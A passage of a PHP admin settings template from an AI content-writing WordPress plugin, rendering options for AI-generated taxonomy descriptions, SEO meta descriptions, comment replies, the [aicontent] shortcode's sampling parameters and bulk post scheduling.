class="aiomatic-settings-desc"><?php echo esc_html__("The 'AI Taxonomy Description Writer' tab offers automated tools to create and refine descriptive content for categories and tags, enhancing the organization and SEO of your WordPress site.", 'aiomatic-automatic-ai-content-writer'); ?></p> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Taxonomy Description Writer Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="tax_assistant_id" name="aiomatic_Main_Settings[tax_assistant_id]" class="cr_width_full" onchange="assistantSelected('tax_assistant_id', 'disableTax');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($tax_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($tax_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the default model you want to use for the AI Taxonomy Description Writer.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Taxonomy Description Writer Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="tax_description_model" name="aiomatic_Main_Settings[tax_description_model]" <?php if($tax_assistant_id != ''){echo ' disabled';}?> class="disableTax cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($tax_description_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the AI Taxonomy Description Writer feature. You can use the following shortcodes here: %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, %%term_taxonomy_id%% - default is: Write a description for a WordPress %%term_taxonomy_name%% with the following title: \"%%term_name%%\"", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Taxonomy Description Writer Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[tax_description_prompt]" placeholder="AI Taxonomy Description Writer Prompt" class="cr_width_full"><?php echo esc_textarea($tax_description_prompt);?></textarea> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Taxonomy SEO Meta Writer Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable also SEO meta description writing for the taxonomies. Note that this will work only for taxonomies automatically processed using the 'Enable Automatic Processing Of All Newly Added Taxonomies For' settings field from above. Also, note that you will need to have a SEO plugin installed on your site, from the following list: Yoast SEO, All In One SEO, Rank Math.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable SEO Meta Description Writing:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="tax_seo_auto" onchange="taxSeoChanged();" name="aiomatic_Main_Settings[tax_seo_auto]" class="cr_width_full"> <option value="off"<?php if ($tax_seo_auto == "off") { echo " selected"; } ?> ><?php echo esc_html__("Off", 'aiomatic-automatic-ai-content-writer');?></option> <option value="copy"<?php if ($tax_seo_auto == "copy") { echo " selected"; } ?> ><?php echo esc_html__("Copy The Taxonomy Description", 'aiomatic-automatic-ai-content-writer');?></option> <option value="write"<?php if ($tax_seo_auto == "write") { echo " selected"; } ?> ><?php echo esc_html__("Write Separate SEO Description", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr><tr class="TaxSEO"> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="tax_seo_assistant_id" name="aiomatic_Main_Settings[tax_seo_assistant_id]" class="cr_width_full" onchange="assistantSelected('tax_seo_assistant_id', 'disableTaxSEO');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($tax_seo_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($tax_seo_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="TaxSEO"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the default model you want to use for the AI Taxonomy SEO Description Writer. This will set the SEO description for the following SEO plugins: Yoast SEO, All In One SEO, Rank Math.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Taxonomy SEO Description Writer Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="tax_seo_description_model" name="aiomatic_Main_Settings[tax_seo_description_model]" <?php if($tax_seo_assistant_id != ''){echo ' disabled';}?> class="disableTaxSEO cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($tax_seo_description_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> <tr class="TaxSEO"> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the AI Taxonomy SEO Description Writer feature. You can use the following shortcodes here: %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, %%term_taxonomy_id%% - default is: Write a description for a WordPress %%term_taxonomy_name%% with the following title: \"%%term_name%%\". This will set the SEO description for the following SEO plugins: Yoast SEO, All In One SEO, Rank Math.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Taxonomy SEO Description Writer Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[tax_seo_description_prompt]" placeholder="AI Taxonomy Description Writer Prompt" class="cr_width_full"><?php echo esc_textarea($tax_seo_description_prompt);?></textarea> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Automatic Taxonomy Processing At Creation:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable automatic processing and description creation using AI of all newly added taxonomies for the taxonomy names you select (which don't already have a description set when they are created).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Automatic Processing Of All Newly Added Taxonomies For:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="tax_description_auto" multiple name="aiomatic_Main_Settings[tax_description_auto][]" class="cr_width_full"> <?php $taxonomies = get_taxonomies(); foreach ($taxonomies as $tx) { echo '<option value="' . $tx . '"'; if (in_array($tx, $tax_description_auto)) { echo " selected"; } echo '>' . $tx . '</option>'; } ?> </select> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Existing Taxonomy AI Description Writer:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the taxonomies which you want to be affected by the manual taxonomy writing process.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manually Run Taxonomy Description Writing On:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="tax_description_manual" name="aiomatic_Main_Settings[tax_description_manual]" class="cr_width_full"> <?php foreach ($taxonomies as $tx) { echo '<option value="' . $tx . '"'; if ($tx == $tax_description_manual) { echo " selected"; } echo '>' . $tx . '</option>'; } ?> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of taxonomies to be processed at each run.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Taxonomies To Process:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="max_tax_nr" step="1" min="1" placeholder="Maximum Taxonomy Count" name="aiomatic_Main_Settings[max_tax_nr]" value="<?php echo esc_html($max_tax_nr);?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Check this to force the plugin to make draft posts before they would be fully published. This can help you you use other third party plugins with the automatically published posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Also Taxonomies Which Already Have A Description:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="overwite_tax" name="aiomatic_Main_Settings[overwite_tax]"<?php if ($overwite_tax == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to run manual writing of description for existing taxonomies, now? Please check configuration from below before clicking 'Run Taxonomy Desciption Writing'.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manually Run Taxonomy Description Writing Now:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <img id="run_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif');?>" alt="Running" class="cr_hidden cr_align_middle" title="status"> <div class="codemainfzr"> <select id="taxactions" class="actions" name="aiomatic_tax_actions" onchange="actionsChangedTax(this.value);" onfocus="this.selectedIndex = 0;"> <option value="select" disabled selected><?php echo esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer');?></option> <option value="run"><?php echo esc_html__("Run Taxonomy Desciption Writing", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Taxonomy Description Writer Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/k5BFo9jcmcs" frameborder="0" allowfullscreen></iframe> </td></tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Automate the AI Taxonomy Description Writing Process:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/1OibwD73JIA" frameborder="0" allowfullscreen></iframe> </td> </tr> </table> </div> <div id="tab-21<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('AI Comment Writer', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'AI Comment Writer' tab provides an automated system to generate and manage intelligent, context-aware comments, enhancing engagement across your WordPress site.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Comment Writer Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="comment_assistant_id" name="aiomatic_Main_Settings[comment_assistant_id]" class="cr_width_full" onchange="assistantSelected('comment_assistant_id', 'disableComment');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($comment_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($comment_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the default model you want to use for the AI Comment Writer.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Comment Writer Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="comment_model" name="aiomatic_Main_Settings[comment_model]" <?php if($comment_assistant_id != ''){echo ' disabled';}?> class="disableComment cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($comment_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the AI Comment Writer feature. You can use the following shortcodes here: %%post_title%%, %%post_excerpt%%, %%username%%, %%comment%% - default is: Write a reply for %%username%%'s comment on the post titled \"%%post_title%%\". The user's comment is: %%comment%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Comment Writer Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[comment_prompt]" placeholder="AI Comment Writer Prompt" class="cr_width_full"><?php echo esc_textarea($comment_prompt);?></textarea> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Comment Writer Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/VknKvIcKRuw" frameborder="0" allowfullscreen></iframe> </td></tr> </table> </div> <div id="tab-20<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('[aicontent] Shortcode', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The [aicontent] shortcode offers a wide range of options when it comes to creating AI content anywhere on your site. Check the below tutorial video for full details on this feature.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("[aicontent] Shortcode Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("[aicontent] AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="aicontent_assistant_id" name="aiomatic_Main_Settings[aicontent_assistant_id]" class="cr_width_full" onchange="assistantSelected('aicontent_assistant_id', 'disableAicontent');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($aicontent_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($aicontent_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the default model you want to use for the [aicontent] shortcode. You can defined this also in shortcode parameters.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("[aicontent] Shortcode Default Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="aicontent_model" name="aiomatic_Main_Settings[aicontent_model]" <?php if($aicontent_assistant_id != ''){echo ' disabled';}?> class="disableAicontent cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($aicontent_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("[aicontent] Shortcode Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_Main_Settings[aicontent_temperature]" value="<?php echo esc_html($aicontent_temperature);?>" placeholder="1" class="cr_width_full"> </td> </tr><tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("[aicontent] Shortcode Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="0" max="1" step="0.01" name="aiomatic_Main_Settings[aicontent_top_p]" value="<?php echo esc_html($aicontent_top_p);?>" placeholder="1" class="cr_width_full"> </td> </tr><tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("[aicontent] Shortcode Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_Main_Settings[aicontent_presence_penalty]" value="<?php echo esc_html($aicontent_presence_penalty);?>" placeholder="0" class="cr_width_full"> </td> </tr><tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("[aicontent] Shortcode Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="0" max="2" step="0.01" name="aiomatic_Main_Settings[aicontent_frequency_penalty]" value="<?php echo esc_html($aicontent_frequency_penalty);?>" placeholder="0" class="cr_width_full"> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/z_mGPlBsQQA" frameborder="0" allowfullscreen></iframe> </td></tr> </table> </div> <div id="tab-17<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Bulk AI Post Creator', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Bulk AI Post Creator' tab offers settings for tools which will efficiently generate multiple AI-driven posts, streamlining content creation and ensuring a consistent flow of fresh material on your WordPress site.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Bulk AI Post Creator Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a time period between the plugin will run importing at a schedule. To disable this feature, leave this field blank. This works based on your current server timezone and time. Your current server time is: ", 'aiomatic-automatic-ai-content-writer') . date("h:i A"); ?> </div> </div> <b><?php echo esc_html__("Automatically Run Rules Only Between These Hour Periods Each Day:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="time" id="run_after" name="aiomatic_Main_Settings[run_after]" value="<?php echo esc_html($run_after);?>" placeholder="<?php echo esc_html__("Run Rules Only After This Hour", 'aiomatic-automatic-ai-content-writer');?>"> - <input type="time" id="run_before" name="aiomatic_Main_Settings[run_before]" value="<?php echo esc_html($run_before);?>" placeholder="<?php echo esc_html__("Run Rules Only Before This Hour", 'aiomatic-automatic-ai-content-writer');?>"> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Check this to force the plugin to make draft posts before they would be fully published. This can help you you use other third party plugins with the automatically published posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Draft Posts First, And Publish Them Afterwards:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="draft_first" name="aiomatic_Main_Settings[draft_first]"<?php if ($draft_first == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Choose if you want to skip checking for duplicate post titles when publishing new posts. If you check this, duplicate post titles will be posted! So use it only when it is necesarry.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Check For Duplicate Titles:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="do_not_check_duplicates" name="aiomatic_Main_Settings[do_not_check_duplicates]"<?php if ($do_not_check_duplicates == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Choose if you want to process entered titles/topics in order of entering them, not in a random order.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Titles/Topics In Order, Not Random:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="no_random_titles" name="aiomatic_Main_Settings[no_random_titles]"<?php if ($no_random_titles == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Choose if you want to receive a summary of the rule running in an email.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Send Rule Running Summary in Email:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="send_email" onchange="mainChanged();" name="aiomatic_Main_Settings[send_email]"<?php if ($send_email == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div class="hideMail"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the email adress where you want to send the report. You can input more email addresses, separated by commas.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Email Address:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div class="hideMail"> <input type="text" id="email_address" placeholder="<?php echo esc_html__("Input a valid email adress", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[email_address]" value="<?php echo esc_html($email_address); ?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the required words list that will apply to all plugin rules.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Global Required Words List:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="3" cols="70" name="aiomatic_Main_Settings[global_req_words]" class="cr_width_full" placeholder="<?php echo esc_html__("Please insert the global required words list", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($global_req_words);?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Choose if you want to require only one word from the 'Required Words List' for the post to be accepted.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Require Only One Word From The 'Required Words List':", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="require_only_one" name="aiomatic_Main_Settings[require_only_one]"<?php if ($require_only_one == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the banned words list that will apply to all plugin rules.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Global Banned Words List:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="3" cols="70" name="aiomatic_Main_Settings[global_ban_words]" class="cr_width_full" placeholder="<?php echo esc_html__("Please insert the global banned words list", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($global_ban_words);?></textarea> 